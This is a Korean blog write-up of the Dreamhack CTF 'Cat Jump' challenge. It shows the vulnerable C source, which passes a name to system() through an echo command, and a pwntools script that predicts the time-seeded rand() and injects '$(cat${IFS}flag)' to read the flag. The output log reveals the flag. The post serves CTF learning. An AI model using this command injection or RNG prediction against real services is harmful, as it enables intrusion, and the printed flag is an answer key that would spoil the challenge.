Home [Dreamhack CTF Season 2 #11] Cat Jump writeup
Post
Cancel

[Dreamhack CTF Season 2 #11] Cat Jump writeup

source code

소스코드가 주어지는 문제이다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
/* cat_jump.c
 * gcc -Wall -no-pie -fno-stack-protector cat_jump.c -o cat_jump
*/

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

#define CAT_JUMP_GOAL 37

#define CATNIP_PROBABILITY 0.1
#define CATNIP_INVINCIBLE_TIMES 3

#define OBSTACLE_PROBABILITY 0.5
#define OBSTACLE_LEFT  0
#define OBSTACLE_RIGHT 1

void Init() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
}

void PrintBanner() {
    puts("                         .-.\n" \
         "                          \\ \\\n" \
         "                           \\ \\\n" \
         "                            | |\n" \
         "                            | |\n" \
         "          /\\---/\\   _,---._ | |\n" \
         "         /^   ^  \\,'       `. ;\n" \
         "        ( O   O   )           ;\n" \
         "         `.=o=__,'            \\\n" \
         "           /         _,--.__   \\\n" \
         "          /  _ )   ,'   `-. `-. \\\n" \
         "         / ,' /  ,'        \\ \\ \\ \\\n" \
         "        / /  / ,'          (,_)(,_)\n" \
         "       (,;  (,,)      jrei\n");
}

char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db";

void StartGame() {
    char cat_name[32];
    char catnip;
    char cmd[64];
    char input;
    char obstacle;
    double p;
    unsigned char jump_cnt;

    srand(time(NULL));

    catnip = 0;
    jump_cnt = 0;

    puts("let the cat reach the roof! 🐈");
    sleep(1);

    do {
        // set obstacle with a specific probability.
        obstacle = rand() % 2;

        // get input.
        do {
            printf("left jump='h', right jump='j': ");
            scanf("%c%*c", &input);
        } while (input != 'h' && input != 'l');

        // jump.
        if (catnip) {
            catnip--;
            jump_cnt++;
            puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
        } else if ((input == 'h' && obstacle != OBSTACLE_LEFT) ||
                (input == 'l' && obstacle != OBSTACLE_RIGHT)) {
            jump_cnt++;
            puts("the cat jumped successfully! 🐱");
        } else {
            puts("the cat got stuck by obstacle! 😿 🪨 ");
            return;
        }

        // eat some catnip with a specific probability.
        p = (double)rand() / RAND_MAX;
        if (p < CATNIP_PROBABILITY) {
            puts("the cat found and ate some catnip! 😽");
            catnip = CATNIP_INVINCIBLE_TIMES;
        }
    } while (jump_cnt < CAT_JUMP_GOAL);

    puts("your cat has reached the roof!\n");

    printf("let people know your cat's name 😼: ");
    scanf("%31s", cat_name);

    snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
    system(cmd);

    printf("goodjob! ");
    system("cat /tmp/cat_db");
}

int main(void) {
    Init();
    PrintBanner();
    StartGame();

    return 0;
}

random 으로 생성되는 값에 따라 생성되는 왼쪽/오른쪽 정답을 37회 맞추면 command injection을 수행할 수 있다.

vulnerability

1
2
// L42
char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db";
1
2
3
4
5
6
// L98
    snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
    system(cmd);

    printf("goodjob! ");
    system("cat /tmp/cat_db");

이제, 고양이가 점프하는 게임을 37회 이겨야 하는데, 정답을 생성하는 랜덤 함수가 srand(time(NULL))rand() 이다.

즉, 정답을 만드는 함수의 시드가 시간이기 때문에 서버에 접속하는 동시에 time seed를 만들어내고, pythoon ctypes로 rand()를 호출해주면 서버와 동일한 결과 값을 획득할 수 있다.

다만, 여기서 주의해야할 점은 만약 srand(time(NULL)) 에 의해 값이 [1, 2, 3, 4, 5] 로 만들어졌을 경우 값을 하나씩 iterate 하여 사용하는데(1, 2, 3, 4, 5, …), 고양이 점프 게임에서는 한 루프에 rand()를 (1) 답을 입력 받기 전, (2) 답을 입력한 후에 캣닢을 줄지 말지 결정하는 루틴 총 두번 수행한다.

때문에 exploit할 때 한 루프에 rand() 가 두번 호출될 수 있도록 작성해야 한다.

solve

풀이는 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from ctypes import *
from ctypes.util import find_library
import base64
import time


p = remote('host3.dreamhack.games', 17969)
# p = process('./deploy/cat_jump')

c = CDLL(find_library('/lib/x86_64-linux-gnu/libc.so.6'))
c.srand(c.time(0))

obstacle = c.rand() % 2

p.recvuntil(b"left jump='h', right jump='j':")

if obstacle == 0:
    p.sendline(bytes('l', 'utf-8'))
elif obstacle == 1:
    p.sendline(bytes('h', 'utf-8'))

for i in range(36):
    try:
        recv = p.recvuntil(b":")
        c.rand()
        obstacle = c.rand() % 2
        print(recv.decode('utf-8'))
    except:
        print()
        p.interactive()

    if(obstacle == 0):
        p.sendline(bytes('l', 'utf-8'))
    if(obstacle == 1):
        p.sendline(bytes('h', 'utf-8'))

recv = p.recvuntil(b": ")
print(recv)
p.sendline(bytes('$(cat${IFS}flag)', 'utf-8'))
p.interactive()

command injeciton 하는 부분은 echo에 들어가는 문자열을 command substitution 하여 flag를 읽을 수 있도록 해주자. 문제 바이너리에서는 해당 부분에 띄어쓰기를 허용하지 않으므로 ${IFS} 를 사용하는 등 잘 우회해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 the cat jumped successfully! 🐱
left jump='h', right jump='j':
 the cat jumped successfully! 🐱
left jump='h', right jump='j':
 the cat jumped successfully! 🐱
left jump='h', right jump='j':
 the cat jumped successfully! 🐱
left jump='h', right jump='j':
 the cat jumped successfully! 🐱
the cat found and ate some catnip! 😽
left jump='h', right jump='j':
 the cat powered up and is invincible! nothing cannot stop! 🐈
left jump='h', right jump='j':
 the cat powered up and is invincible! nothing cannot stop! 🐈
left jump='h', right jump='j':
 the cat powered up and is invincible! nothing cannot stop! 🐈
left jump='h', right jump='j':
your cat has reached the roof!
let people know your cat's name 😼: 
[*] Switching to interactive mode
goodjob! DH{da65478323e88390957aee8177eb3cf6e60a2a6b486a76d46fc4d94ec785bb48}
[*] Got EOF while reading in interactive
This post is licensed under CC BY 4.0 by the author.